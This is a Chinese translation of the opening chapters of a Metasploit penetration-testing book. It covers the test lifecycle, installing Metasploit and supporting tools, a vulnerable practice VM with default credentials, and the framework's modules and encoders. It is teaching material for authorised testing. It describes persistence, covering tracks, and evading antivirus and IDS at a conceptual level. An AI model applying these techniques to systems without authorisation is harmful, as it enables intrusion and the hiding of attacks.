Metasploit-完全指南（全）

Metasploit 完全指南（全）

原文：annas-archive.org/md5/7D3B5EAD1083E0AF434036361959F60E

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

今天大多数企业都依赖于其 IT 基础设施，而这个 IT 网络中最微小的裂缝都可能导致整个业务崩溃。Metasploit 是一个渗透测试网络，可以通过使用 Metasploit 框架执行复杂的渗透测试来验证您的系统，从而保护您的基础设施。

这个学习路径介绍了 Metasploit 的基本功能和应用。在本书中，您将学习编程 Metasploit 模块的不同技术，以验证诸如数据库、指纹识别和扫描等服务。您将掌握后期利用，并编写快速脚本从被利用的系统中收集信息。随着学习的深入，您将深入探讨现实世界中进行渗透测试的挑战。借助这些案例研究，您将探索使用 Metasploit 进行客户端攻击以及基于 Metasploit 框架构建的各种脚本。

通过学习这个学习路径，您将掌握通过彻底测试来识别系统漏洞所需的技能。

这个学习路径包括以下 Packt 产品的内容：

• 《Metasploit 初学者指南》作者 Sagar Rahalkar

• 《精通 Metasploit-第三版》作者 Nipun Jaswal

这本书适合谁

这个学习路径非常适合安全专业人员、Web 程序员和渗透测试人员，他们想要掌握漏洞利用并充分利用 Metasploit 框架。需要具备 Ruby 编程和 Cortana 脚本语言的基础知识。

本书涵盖了什么内容

第一章《Metasploit 和支持工具简介》向读者介绍了漏洞评估和渗透测试等概念。读者将了解渗透测试框架的必要性，并对 Metasploit 框架进行简要介绍。此外，本章还解释了 Metasploit 框架如何可以有效地在渗透测试生命周期的各个阶段使用，以及一些扩展 Metasploit 框架功能的支持工具。

第二章《设置您的环境》主要指导如何为 Metasploit 框架设置环境。这包括设置 Kali Linux 虚拟机，独立在各种平台上安装 Metasploit 框架，如 Windows 和 Linux，并在虚拟环境中设置可利用或易受攻击的目标。

第三章《Metasploit 组件和环境配置》涵盖了 Metasploit 框架的结构和解剖，以及各种 Metasploit 组件的介绍。本章还涵盖了本地和全局变量配置，以及保持 Metasploit 框架更新的程序。

第四章《使用 Metasploit 进行信息收集》奠定了使用 Metasploit 框架进行信息收集和枚举的基础。它涵盖了针对各种协议（如 TCP、UDP、FTP、SMB、HTTP、SSH、DNS 和 RDP）的信息收集和枚举。它还涵盖了使用 Shodan 集成进行密码嗅探以及搜索易受攻击系统的高级搜索的 Metasploit 框架的扩展用法。

第五章《使用 Metasploit 进行漏洞搜索》从设置 Metasploit 数据库的说明开始。然后，它提供了使用 NMAP、Nessus 和 Metasploit 框架进行漏洞扫描和利用的见解，并最终介绍了 Metasploit 框架的后期利用能力。

第六章《使用 Metasploit 进行客户端攻击》介绍了与客户端攻击相关的关键术语。然后介绍了使用 msfvenom 实用程序生成自定义有效负载以及社会工程工具包。本章最后介绍了使用 browser_autopwn 辅助模块进行高级基于浏览器的攻击。

第七章《使用 Metasploit 进行 Web 应用程序扫描》涵盖了设置易受攻击的 Web 应用程序的过程。然后介绍了 Metasploit 框架中用于 Web 应用程序漏洞扫描的 wmap 模块，并总结了一些在 Web 应用程序安全评估中有用的其他 Metasploit 辅助模块。

第八章《防病毒和反取证》涵盖了各种避免有效负载被各种防病毒程序检测到的技术。这些技术包括使用编码器、二进制包和加密器。本章还介绍了用于测试有效负载的各种概念，最后总结了 Metasploit 框架的各种反取证功能。

第九章《使用 Armitage 进行网络攻击管理》介绍了一种可以与 Metasploit 框架有效配合使用的网络攻击管理工具“Armitage”，用于执行复杂的渗透测试任务。本章涵盖了 Armitage 工具的各个方面，包括打开控制台、执行扫描和枚举、查找合适的攻击目标以及利用目标。

第十章《扩展 Metasploit 和利用程序开发》介绍了各种利用程序开发概念，以及如何通过添加外部利用程序来扩展 Metasploit 框架。本章最后简要介绍了可以用于自定义利用程序开发的 Metasploit 利用程序模板和混合物。

第十一章《使用 Metasploit 进行渗透测试》带领我们了解使用 Metasploit 进行渗透测试的绝对基础知识。它帮助建立了一种测试方法并设置了测试环境。此外，它系统地介绍了渗透测试的各个阶段。它进一步讨论了使用 Metasploit 相对于传统和手动测试的优势。

第十二章《重新定义 Metasploit》涵盖了构建模块所需的 Ruby 编程基础知识的绝对基础。本章进一步介绍了如何挖掘现有的 Metasploit 模块并编写我们自定义的扫描器、认证测试器、后渗透和凭证收集器模块；最后，它通过对在 RailGun 中开发自定义模块的信息进行阐述。

第十三章《利用制定过程》讨论了通过覆盖利用编写的基本要点来构建利用程序。本章还介绍了模糊测试，并对调试器进行了阐述。然后，它着重于通过分析调试器下应用程序的行为来收集利用所需的要点。最后，它展示了基于收集的信息在 Metasploit 中编写利用程序的过程，并讨论了对保护机制（如 SEH 和 DEP）的绕过。

第十四章《移植利用程序》帮助将公开可用的利用程序转换为 Metasploit 框架。本章重点关注从 Perl/Python、PHP 和基于服务器的利用程序中收集必要的信息，并利用 Metasploit 库和功能将其解释为与 Metasploit 兼容的模块。

第十五章，使用 Metasploit 测试服务，讨论了在各种服务上执行渗透测试。本章涵盖了 Metasploit 中一些关键模块，这些模块有助于测试 SCADA、数据库和 VOIP 服务。

第十六章，虚拟测试场地和分期，是关于使用 Metasploit 进行完整渗透测试的简要讨论。本章重点介绍了可以与 Metasploit 一起使用的其他工具，以进行全面的渗透测试。本章继续讨论了流行工具，如 Nmap、Nessus 和 OpenVAS，并解释了如何在 Metasploit 内部使用这些工具。最后讨论了如何生成手动和自动化报告。

第十七章，客户端利用，将我们的重点转移到客户端利用。本章重点介绍了将传统的客户端利用修改为更复杂和确定的方法。本章从基于浏览器和基于文件格式的利用开始，并讨论了如何 compromise web server 的用户。还解释了如何使用 Metasploit 修改浏览器利用成为致命武器，以及使用 DNS 毒化等向量。最后，本章重点讨论了开发利用 Kali NetHunter 利用 Android 的策略。

第十八章，Metasploit 扩展，讨论了 Metasploit 的基本和高级后渗透特性。本章讨论了 Meterpreter 有效负载上可用的必要后渗透特性，并继续讨论了高级和强硬的后渗透模块。本章不仅有助于快速了解加快渗透测试过程，还揭示了许多 Metasploit 功能，可以节省相当多的时间，同时编写利用。最后，本章还讨论了自动化后渗透过程。

第十九章，使用 Metasploit 进行逃避，讨论了 Metasploit 如何使用自定义代码逃避高级保护机制，如使用 Metasploit 有效负载的防病毒解决方案。还概述了如何绕过 Snort 等 IDPS 解决方案的签名，以及如何规避基于 Windows 的目标上的阻止端口。

第二十章，秘密特工的 Metasploit，讨论了执法机构如何利用 Metasploit 进行操作。本章讨论了代理会话、持久性的独特 APT 方法、从目标系统中清除文件、用于逃避的代码洞技术、使用毒液框架生成不可检测的有效负载，以及如何使用反取证模块在目标系统上不留下痕迹。

第二十一章，使用 Armitage 进行可视化，专门介绍了与 Metasploit 相关的最受欢迎的 GUI，即 Armitage。本章解释了如何使用 Armitage 扫描目标，然后利用目标。本章还教授了使用 Armitage 进行红队基础知识。此外，还讨论了 Cortana，它用于在 Armitage 中编写自动攻击，以开发虚拟机器人来帮助渗透测试。最后，本章讨论了如何添加自定义功能，并在 Armitage 中构建自定义界面和菜单。

第二十二章，技巧和窍门，教授了各种技能，可以加快测试速度，并帮助您更有效地使用 Metasploit。

要充分利用本书

为了运行本书中的练习，建议使用以下软件：

• Metasploit 框架

• PostgreSQL

• VMWare 或 Virtual Box

• Kali Linux

• Nessus

• 7-Zip

• NMAP

• W3af

• Armitage

• Windows XP

• Adobe Acrobat Reader

下载示例代码文件

您可以从www.packt.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书，您可以访问www.packt.com/support注册，以便文件直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件：

1. 登录或注册www.packt.com。

2. 选择“支持”选项卡。

3. 点击“代码下载和勘误”。

4. 在“搜索”框中输入书名，然后按照屏幕上的说明操作。

下载文件后，请确保使用最新版本的解压缩或提取文件夹：

• WinRAR/7-Zip 适用于 Windows

• Zipeg/iZip/UnRarX 适用于 Mac

• 7-Zip/PeaZip 适用于 Linux

该书的代码包也托管在 GitHub 上，网址为github.com/PacktPublishing/The-Complete-Metasploit-Guide。如果代码有更新，将在现有的 GitHub 存储库上进行更新。

我们还有其他代码包，来自我们丰富的图书和视频目录，可在github.com/PacktPublishing/找到。来看看吧！

使用的约定

本书中使用了许多文本约定。

CodeInText：表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如：“我们可以看到我们在SESSION 1上使用了post/windows/manage/inject_host模块，并将条目插入到目标主机文件中。”

代码块设置如下：

 irb(main):001:0> 2
=> 2 

任何命令行输入或输出都以以下形式书写：

 msf > openvas_config_list
[+] OpenVAS list of configs 

粗体：表示新术语、重要词或屏幕上看到的词。例如，菜单或对话框中的单词会以这种形式出现在文本中。例如：“点击弹出框中的连接按钮以建立连接。”

警告或重要提示会以这种形式出现。

提示和技巧会出现在这样的形式。

第一章：Metasploit 和支持工具的介绍

在我们深入了解 Metasploit 框架的各个方面之前，让我们首先打下一些绝对基础的基础。在本章中，我们将从概念上了解渗透测试的全部内容，以及 Metasploit 框架的确切位置。我们还将浏览一些增强 Metasploit 框架功能的附加工具。在本章中，我们将涵盖以下主题：

• 渗透测试的重要性

• 漏洞评估和渗透测试的区别

• 渗透测试框架的需求

• Metasploit 的简要介绍

• 了解 Metasploit 在渗透测试的所有阶段中的适用性

• 介绍帮助扩展 Metasploit 功能的支持工具

渗透测试的重要性

十多年来，技术的使用呈指数级增长。几乎所有的企业部分或完全依赖于技术的使用。从比特币到云到物联网，每天都会出现新的技术。虽然这些技术完全改变了我们的做事方式，但它们也带来了威胁。攻击者发现了新的创新方式来操纵这些技术以获取乐趣和利润！这是全球数千家组织和企业关注的问题。全球组织深切关注保护其数据的安全。保护数据当然很重要，然而，测试是否已经采取了足够的保护机制同样重要。保护机制可能会失败，因此在有人真正利用它们之前对它们进行测试是一项具有挑战性的任务。话虽如此，漏洞评估和渗透测试已经变得非常重要，并且现在已经在所有合规程序中被包括进去。通过正确进行漏洞评估和渗透测试，组织可以确保已经建立了正确的安全控制，并且它们正在按预期运行！

漏洞评估与渗透测试

漏洞评估和渗透测试是两个经常可以互换使用的常见词汇。然而，了解两者之间的区别是很重要的。为了了解确切的区别，让我们考虑一个现实世界的场景：

一个小偷打算抢劫一所房子。为了执行他的抢劫计划，他决定侦察他的目标。他随意访问了他打算抢劫的房子，并试图评估那里有哪些安全措施。他注意到房子的后面有一个经常开着的窗户，很容易破门而入。在我们的术语中，小偷刚刚执行了漏洞评估。现在，几天后，小偷实际上再次去了那所房子，并通过他之前在侦察阶段发现的后面的窗户进入了房子。在这种情况下，小偷对他的目标房子进行了实际的渗透，目的是抢劫。

这正是我们在计算系统和网络的情况下可以相关的。人们可以首先对目标进行漏洞评估，以评估系统的整体弱点，然后再进行计划的渗透测试，以实际检查目标是否容易受攻击。如果不进行漏洞评估，就不可能计划和执行实际的渗透测试。

尽管大多数漏洞评估在性质上是非侵入性的，但如果渗透测试没有受到控制地进行，就可能对目标造成损害。根据特定的合规需求，一些组织选择仅进行漏洞评估，而其他组织则继续进行渗透测试。

渗透测试框架的需求

渗透测试不仅仅是针对目标运行一组自动化工具。这是一个涉及多个阶段的完整过程，每个阶段对项目的成功同样重要。现在，为了执行渗透测试的所有阶段中的所有任务，我们需要使用各种不同的工具，可能需要手动执行一些任务。然后，在最后，我们需要将来自许多不同工具的结果结合在一起，以生成一个有意义的报告。这肯定是一项艰巨的任务。如果一个单一的工具可以帮助我们执行渗透测试所需的所有任务，那将会非常简单和节省时间。Metasploit 这样的框架满足了这个需求。

介绍 Metasploit

Metasploit 的诞生可以追溯到 14 年前，2003 年，H.D Moore 用 Perl 编写了一个便携式网络工具。到 2007 年，它被重写为 Ruby。当 Rapid7 在 2009 年收购该项目时，Metasploit 项目获得了重大商业推动。Metasploit 本质上是一个强大而多功能的渗透测试框架。它可以在整个渗透测试生命周期中执行所有任务。使用 Metasploit，你真的不需要重新发明轮子！你只需要专注于核心目标；支持性的行动将通过框架的各个组件和模块执行。此外，由于它是一个完整的框架，而不仅仅是一个应用程序，它可以根据我们的需求进行定制和扩展。

毫无疑问，Metasploit 是一个非常强大的渗透测试工具。然而，它绝对不是一个可以帮助你入侵任何给定目标系统的魔术棒。了解 Metasploit 的能力是很重要的，这样在渗透测试期间可以最大限度地利用它。

虽然最初的 Metasploit 项目是开源的，但在被 Rapid7 收购后，商业级别的 Metasploit 版本也出现了。在本书的范围内，我们将使用Metasploit 框架版本。

你知道吗？Metasploit 框架有 3000 多个不同的模块可用于利用各种应用程序、产品和平台，这个数字还在不断增长。

何时使用 Metasploit？

有成吨的工具可用于执行与渗透测试相关的各种任务。然而，大多数工具只能执行一个独特的目的。与这些工具不同，Metasploit 是一个可以在整个渗透测试生命周期中执行多个任务的工具。在我们检查 Metasploit 在渗透测试中的确切用途之前，让我们简要概述一下渗透测试的各个阶段。以下图表显示了渗透测试生命周期的典型阶段：

渗透测试生命周期的阶段

1. 信息收集：尽管信息收集阶段可能看起来非常琐碎，但它是渗透测试项目成功的最重要阶段之一。你对目标了解得越多，你找到合适的漏洞和利用的机会就越大。因此，值得投入大量时间和精力收集有关范围内目标的尽可能多的信息。信息收集可以分为两种类型，如下所示：

• 被动信息收集：被动信息收集涉及通过公开可用的来源（如社交媒体和搜索引擎）收集有关目标的信息。不与目标直接接触。

• 主动信息收集：主动信息收集涉及使用专门的工具，如端口扫描器，以获取有关目标系统的信息。它涉及直接与目标系统进行联系，因此可能会被目标网络中的防火墙、IDS 或 IPS 注意到。

1. 枚举：使用主动和/或被动信息收集技术，可以初步了解目标系统/网络。进一步进行枚举，可以了解目标系统上运行的确切服务（包括类型和版本）以及其他信息，如用户、共享和 DNS 条目。枚举为我们试图渗透的目标准备了更清晰的蓝图。

2. 获取访问：基于我们从信息收集和枚举阶段获得的目标蓝图，现在是时候利用目标系统中的漏洞并获取访问权限了。获取对该目标系统的访问权限涉及利用早期阶段发现的一个或多个漏洞，并可能绕过目标系统中部署的安全控制（如防病毒软件、防火墙、IDS 和 IPS）。

3. 权限提升：经常情况下，在目标上利用漏洞只能获得对系统的有限访问。然而，我们希望完全获得对目标的根/管理员级别访问，以便充分利用我们的练习。可以使用各种技术来提升现有用户的权限。一旦成功，我们就可以完全控制具有最高权限的系统，并可能深入渗透到目标中。

4. 保持访问：到目前为止，我们已经付出了很多努力，以获得对目标系统的根/管理员级别访问。现在，如果目标系统的管理员重新启动系统会怎样？我们所有的努力将会白费。为了避免这种情况，我们需要为持久访问目标系统做好准备，以便目标系统的任何重新启动都不会影响我们的访问。

5. 清除痕迹：虽然我们已经努力利用漏洞、提升权限，并使我们的访问持久化，但我们的活动很可能已经触发了目标系统的安全系统的警报。事件响应团队可能已经在行动，追踪可能导致我们的所有证据。根据约定的渗透测试合同条款，我们需要清除在妥协期间上传到目标上的所有工具、漏洞和后门。

有趣的是，Metasploit 实际上在所有先前列出的渗透测试阶段中帮助我们。

以下表格列出了各种 Metasploit 组件和模块，可在渗透测试的所有阶段使用：

序号	渗透测试阶段	Metasploit 的使用
1	信息收集	辅助模块：portscan/syn, portscan/tcp, smb_version, db_nmap, scanner/ftp/ftp_version, 和 gather/shodan_search
2	枚举	smb/smb_enumshares, smb/smb_enumusers, 和 smb/smb_login
3	获取访问	所有 Metasploit 漏洞利用和有效载荷
4	权限提升	meterpreter-use priv 和 meterpreter-getsystem
5	保持访问	meterpreter - run persistence
6	清除痕迹	Metasploit 反取证项目

我们将在书中逐步涵盖所有先前的组件和模块。

使用补充工具使 Metasploit 更加有效和强大

到目前为止，我们已经看到 Metasploit 确实是一个强大的渗透测试框架。然而，如果与其他一些工具集成，它可以变得更加有用。本节介绍了一些补充 Metasploit 功能的工具。

Nessus

Nessus 是 Tenable Network Security 的产品，是最受欢迎的漏洞评估工具之一。它属于漏洞扫描仪类别。它非常容易使用，并且可以快速发现目标系统中的基础架构级漏洞。一旦 Nessus 告诉我们目标系统上存在哪些漏洞，我们就可以将这些漏洞提供给 Metasploit，以查看它们是否可以被真正利用。

它的官方网站是www.tenable.com/。以下图片显示了 Nessus 首页：

Nessus 用于启动漏洞评估的 Web 界面

以下是 Nessus 的不同基于操作系统的安装步骤：

• 在 Windows 上安装：

1. 转到 URLwww.tenable.com/products/nessus/select-your-operating-system.

2. 在 Microsoft Windows 类别下，选择适当的版本（32 位/64 位）。

3. 下载并安装msi文件。

4. 打开浏览器，转到 URLlocalhost:8834/.

5. 设置新的用户名和密码以访问 Nessus 控制台。

6. 要注册，请单击注册此扫描仪选项。

7. 访问www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code，选择 Nessus Home 并输入您的注册详细信息。

8. 输入您在电子邮件中收到的注册码。

• 在 Linux 上安装（基于 Debian）：

1. 转到 URLwww.tenable.com/products/nessus/select-your-operating-system.

2. 在 Linux 类别下，选择适当的版本（32 位/AMD64）。

3. 下载文件。

4. 打开终端并浏览到您下载安装程序（.deb）文件的文件夹。

5. 键入命令dpkg -i <name_of_installer>.deb。

6. 打开浏览器，转到 URLlocalhost:8834/.

7. 设置新的用户名和密码以访问 Nessus 控制台。

8. 要注册，请单击注册此扫描仪选项。

9. 访问www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code，选择 Nessus Home 并输入您的注册详细信息。

10. 输入您在电子邮件中收到的注册码。

NMAP

NMAP（Network Mapper 的缩写）是用于网络信息收集的事实标准工具。它属于信息收集和枚举类别。乍一看，它可能看起来很小，很简单。但是，它是如此全面，以至于可以专门撰写一本完整的书来介绍如何根据我们的要求调整和配置 NMAP。NMAP 可以快速概述目标网络中所有开放的端口和正在运行的服务。这些信息可以提供给 Metasploit 进行进一步操作。虽然本书不涵盖 NMAP 的详细讨论，但我们将在后面的章节中涵盖 NMAP 的所有重要方面。

它的官方网站是nmap.org/.以下屏幕截图显示了 NMAP 扫描的示例：

使用命令行界面进行 NMAP 扫描的示例

尽管访问 NMAP 的最常见方式是通过命令行，但 NMAP 也有一个名为 Zenmap 的图形界面，它是 NMAP 引擎上的简化界面，如下所示：

NMAP 的 Zenmap 图形用户界面（GUI）

以下是 NMAP 的不同基于操作系统的安装步骤：

• 在 Windows 上安装：

1. 转到网站nmap.org/download.html.

2. 在 Microsoft Windows Binaries 部分，选择最新版本（.exe）文件。

3. 安装下载的文件以及 WinPCAP（如果尚未安装）。

WinPCAP 是一个程序，运行诸如 NMAP、Nessus 和 Wireshark 之类的工具时需要它。它包含一组库，允许其他应用程序捕获和传输网络数据包。

• 在 Linux 上（基于 Debian）的安装： NMAP 默认安装在 Kali Linux 上；但是，如果没有安装，可以使用以下命令进行安装：

root@kali:~#apt-get install nmap

w3af

w3af 是一个开源的 Web 应用程序安全扫描工具。它属于 Web 应用程序安全扫描器类别。它可以快速扫描目标 Web 应用程序，查找常见的 Web 应用程序漏洞，包括 OWASP 前 10 名。w3af 还可以有效地与 Metasploit 集成，使其更加强大。

它的官方网站是w3af.org/. 我们可以在以下图片中看到 w3af 控制台用于扫描 Web 应用程序漏洞：

w3af 控制台用于扫描 Web 应用程序漏洞

以下是 w3af 的基于各种操作系统的安装步骤：

• 在 Windows 上安装： w3af 不适用于 Windows 平台

• 在 Linux 上（基于 Debian）的安装： w3af 默认安装在 Kali Linux 上；但是，如果没有安装，可以使用以下命令进行安装：

root@kali:~# apt-get install w3af

Armitage

Armitage 是一个利用自动化框架，它在后台使用 Metasploit。它属于利用自动化类别。它提供了一个易于使用的用户界面，用于在网络中查找主机、扫描、枚举、查找漏洞，并利用 Metasploit 的漏洞和有效载荷对它们进行利用。我们将在本书的后面详细介绍 Armitage。

它的官方网站是www.fastandeasyhacking.com/index.html. 我们可以在以下截图中看到 Armitage 控制台用于利用自动化：

Armitage 控制台用于利用自动化。

以下是 Armitage 的基于各种操作系统的安装步骤：

• 在 Windows 上安装： Armitage 不支持 Windows

• 在 Linux 上（基于 Debian）的安装： Armitage 默认安装在 Kali Linux 上；但是，如果没有安装，可以使用以下命令进行安装：

root@kali:~# apt-get install armitage

要设置和运行 Armitage，需要 PostgreSQL、Metasploit 和 Java。但是，这些已经安装在 Kali Linux 系统上。

总结

现在我们已经对 Metasploit 的概述有了一个高层次的了解，它在渗透测试中的适用性以及支持工具，我们将在下一章中浏览 Metasploit 的安装和环境设置。

练习

您可以尝试以下练习：

• 访问 Metasploit 的官方网站，尝试了解各个版本的 Metasploit 之间的区别

• 尝试探索更多关于 Nessus 和 NMAP 如何在渗透测试中帮助我们的信息。

第二章：设置您的环境

在前一章中，您简要了解了漏洞评估、渗透测试和 Metasploit Framework。现在，让我们通过学习如何在各种平台上安装和设置框架以及设置专用虚拟测试环境来实际开始使用 Metasploit。在本章中，您将学习以下主题：

• 使用 Kali Linux 虚拟机立即开始使用 Metasploit 和支持工具

• 在 Windows 和 Linux 平台上安装 Metasploit Framework

• 在虚拟环境中设置可利用的目标

使用 Kali Linux 虚拟机-最简单的方法

Metasploit 是由 Rapid7 分发的独立应用程序。它可以在 Windows 和 Linux 等各种操作系统平台上单独下载和安装。但是，有时 Metasploit 还需要许多支持工具和实用程序。在任何给定的平台上单独安装 Metasploit Framework 和所有支持工具可能会有点繁琐。为了简化设置 Metasploit Framework 以及所需工具的过程，建议获取一个现成的 Kali Linux 虚拟机。

使用此虚拟机将带来以下好处：

• 即插即用的 Kali Linux--无需安装

• Metasploit 预先安装在 Kali VM 中

• 所有支持的工具（本书中讨论的）也预先安装在 Kali VM 中

• 节省设置 Metasploit 和其他支持工具的时间和精力

要使用 Kali Linux 虚拟机，您首先需要在系统上安装 VirtualBox、VMPlayer 或 VMware Workstation。

以下是使用 Kali Linux VM 入门的步骤：

1. 从www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/下载 Kali Linux 虚拟机。

2. 根据基本操作系统的类型选择并下载 Kali Linux 64 位 VM 或 Kali Linux 32 位 VM PAE，如下所示：

1. 一旦虚拟机下载完成，从 Zip 文件中提取到您选择的任何位置。

2. 双击 VMware 虚拟机配置文件以打开虚拟机，然后播放虚拟机。以下凭据可用于登录虚拟机：

Username - root
 Password - toor

1. 要启动 Metasploit Framework，请打开终端并输入msfconsole，如下所示：

在 Windows 上安装 Metasploit

Metasploit Framework 可以轻松安装在基于 Windows 的操作系统上。但是，Windows 通常不是部署 Metasploit Framework 的首选平台，原因是许多支持工具和实用程序在 Windows 平台上不可用。因此，强烈建议在 Linux 平台上安装 Metasploit Framework。

在 Windows 上安装 Metasploit Framework 的步骤如下：

1. 从github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version下载最新的 Metasploit Windows 安装程序。

2. 双击并打开下载的安装程序。

3. 单击“下一步”，如下图所示：

1. 接受许可协议：

1. 选择您希望安装 Metasploit Framework 的位置：

1. 单击“安装”以继续：

Metasploit 安装程序通过将所需文件复制到目标文件夹来进行进展：

1. 单击“完成”以完成 Metasploit Framework 的安装：

现在安装完成，让我们尝试通过命令行界面访问 Metasploit Framework：

1. 按下Windows 键 + R。

2. 输入cmd并按Enter。

3. 使用cd，导航到您安装 Metasploit Framework 的文件夹/路径。

4. 输入msfconsole并按Enter；您应该能够看到以下内容：

在 Linux 上安装 Metasploit

在本书的范围内，我们将在 Ubuntu（基于 Debian）系统上安装 Metasploit Framework。在开始安装之前，我们首先需要下载最新的安装程序。可以使用wget命令完成如下：

1. 打开一个终端窗口，输入：

wgethttp://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

1. 一旦安装程序已下载，我们需要更改安装程序的模式为可执行。可以按照以下步骤完成：

• 对于 64 位系统：chmod +x /path/to/metasploit-latest-linux-x64-installer.run

• 对于 32 位系统：chmod +x /path/to/metasploit-latest-linux-installer.run

1. 现在我们准备使用以下命令启动安装程序：

• 对于 64 位系统：sudo /path/to/metasploit-latest-linux-x64-installer.run

• 对于 32 位系统：sudo /path/to/metasploit-latest-linux-installer.run

1. 我们可以看到以下安装程序：

1. 接受许可协议：

1. 选择安装目录（建议将其保持默认安装的不变）：

1. 选择“是”将 Metasploit Framework 安装为服务：

1. 确保禁用系统上可能已经运行的任何防病毒软件或防火墙。诸如防病毒软件和防火墙之类的安全产品可能会阻止许多 Metasploit 模块和漏洞利用正确运行：

1. 输入 Metasploit 服务将运行的端口号。（建议将其保持默认安装的不变）：

1. 输入 Metasploit Framework 将运行的主机名。（建议将其保持默认安装的不变）：

1. 单击“前进”以继续安装：

1. 现在 Metasploit Framework 安装已完成：

让我们尝试通过命令行界面访问它：

1. 打开终端窗口，输入命令msfconsole并按Enter。您应该在屏幕上看到以下内容：

在虚拟环境中设置可利用的目标

Metasploit 是一个强大的渗透测试框架，如果不以受控的方式使用，可能会对目标系统造成潜在的损害。为了学习和练习 Metasploit，我们当然不能在任何未经授权的生产系统上使用它。但是，我们可以在自己的虚拟环境中练习我们新学到的 Metasploit 技能，这个环境是故意制造成易受攻击的。这可以通过一个名为Metasploitable的基于 Linux 的系统实现，该系统具有从操作系统级别到应用程序级别的许多不同的琐碎漏洞。Metasploitable 是一个可直接使用的虚拟机，可以从以下位置下载：sourceforge.net/projects/metasploitable/files/Metasploitable2/

一旦下载完成，为了运行虚拟机，您需要在系统上安装 VMPlayer 或 VMware Workstation。以下是安装步骤以及屏幕截图：

如果尚未安装，可以从www.vmware.com/go/downloadplayer获取 VMPlayer

1. 为了运行 Metasploitable 虚拟机，首先让我们将其从 zip 文件中提取到我们选择的任何位置：

1. 双击 Metasploitable VMware 虚拟机配置文件以打开虚拟机。这将需要事先安装 VMPlayer 或 VMware Workstation：

1. 单击绿色的“播放”图标启动虚拟机：

1. 虚拟机启动后，您可以使用以下凭据登录：

 User name - msfadmin
 Password - msfadmin

我们可以稍后使用这个虚拟机来练习我们在本书中学到的技能。

摘要

在本章中，我们学习了如何通过在各种平台上安装 Metasploit 框架来快速入门。安装完成后，我们将继续下一章，了解 Metasploit 的结构和组件级别的详细信息。

练习

您可以尝试以下练习：

• 下载 Kali Linux 虚拟机，并在 VMPlayer 或 VMware Workstation 中运行

• 尝试在 Ubuntu 上安装 Metasploit 框架

第三章：Metasploit 组件和环境配置

对于我们用来执行特定任务的任何工具，了解该工具的内部始终是有帮助的。对工具的详细了解使我们能够恰当地使用它，使其充分发挥其能力。现在您已经学会了 Metasploit Framework 及其安装的一些绝对基础知识，在本章中，您将学习 Metasploit Framework 的结构以及 Metasploit 生态系统的各种组件。本章将涵盖以下主题：

• Metasploit 的解剖和结构

• Metasploit 组件--辅助模块、利用、编码器、有效载荷和后期

• 开始使用 msfconsole 和常用命令

• 配置本地和全局变量

• 更新框架

Metasploit 的解剖和结构

学习 Metasploit 结构的最佳方法是浏览其目录。在使用 Kali Linux 时，Metasploit Framework 通常位于路径/usr/share/metasploit-framework，如下面的屏幕截图所示：

在较高层次上，Metasploit Framework 的结构如下所示：

Metasploit Framework 具有非常清晰和明确定义的结构，框架内的工具/实用程序根据它们在渗透测试生命周期的各个阶段中的相关性进行组织。随着我们在本书中的进展，我们将使用来自每个类别的工具/实用程序。

在下一节中，我们将简要概述所有 Metasploit 组件。

Metasploit 组件

Metasploit Framework 具有基于其在渗透测试阶段中的角色的各种组件类别。以下各节将详细了解每个组件类别的责任。

辅助模块

到目前为止，您已经了解到 Metasploit 是一个完整的渗透测试框架，而不仅仅是一个工具。当我们称其为框架时，这意味着它包含许多有用的工具和实用程序。Metasploit Framework 中的辅助模块只是用于执行特定任务（在我们的渗透测试生命周期范围内）的小代码片段。例如，您可能需要执行一个简单的任务，验证特定服务器的证书是否已过期，或者您可能想要扫描您的子网并检查是否有任何 FTP 服务器允许匿名访问。使用 Metasploit Framework 中存在的辅助模块可以非常轻松地完成这些任务。

在 Metasploit Framework 中有 1000 多个辅助模块分布在 18 个类别中。

以下表格显示了 Metasploit Framework 中存在的各种辅助模块的各个类别：

gather	pdf	vsploit
bnat	sqli	client
crawler	fuzzers	server
spoof	parser	voip
sniffer	analyze	dos
docx	admin	scanner

不要被 Metasploit Framework 中存在的辅助模块数量所压倒。您可能不需要单独了解每个模块。您只需要在所需的上下文中搜索正确的模块并相应地使用它。现在我们将看到如何使用辅助模块。

在本书的过程中，我们将根据需要使用许多不同的辅助模块；但是，让我们从一个简单的例子开始：

1. 打开终端窗口，并使用命令msfconsole启动 Metasploit。

2. 选择auxiliary模块portscan/tcp来对目标系统执行端口扫描。

3. 使用show命令，列出运行此辅助模块所需配置的所有参数。

4. 使用set RHOSTS命令，设置我们目标系统的 IP 地址。

5. 使用set PORTS命令，选择要在目标系统上扫描的端口范围。

6. 使用run命令，执行先前配置的参数的辅助模块。

您可以在以下截图中看到所有先前提到的命令的使用：

利用

利用是 Metasploit 框架中最重要的部分。利用是实际的代码片段，将为您提供对目标系统所需的访问权限。根据支持利用的平台，有 2500 多个利用分布在 20 多个类别中。现在，您可能会想到在这么多可用的利用中，需要使用哪一个。只有在对目标进行广泛的枚举和漏洞评估之后，才能决定使用特定的利用对目标进行攻击（参见第一章中的渗透测试生命周期部分，Metasploit 和支持工具简介）。对目标进行适当的枚举和漏洞评估将为我们提供以下信息，基于这些信息，我们可以选择正确的利用：

• 目标系统的操作系统（包括确切的版本和架构）

• 目标系统上的开放端口（TCP 和 UDP）

• 目标系统上运行的服务及其版本

• 特定服务存在漏洞的概率

以下表格显示了 Metasploit 框架中提供的各种利用类别：

Linux	Windows	Unix	OS X	Apple iOS
irix	mainframe	freebsd	solaris	bsdi
firefox	netware	aix	android	dialup
hpux	jre7u17	wifi	php	mssql

在接下来的章节中，我们将看到如何针对易受攻击的目标使用利用。

编码器

在任何给定的现实世界渗透测试场景中，我们尝试攻击目标系统很可能会被目标系统上存在的某种安全软件检测到/注意到。这可能会危及我们所有的努力来获取对远程系统的访问权限。这正是编码器发挥作用的时候。编码器的工作是以这样的方式混淆我们的利用和有效载荷，以至于它在目标系统上的任何安全系统都不会被注意到。

以下表格显示了 Metasploit 框架中提供的各种编码器类别：

generic	mipsbe	ppc
x64	php	mipsle
cmd	sparc	x86

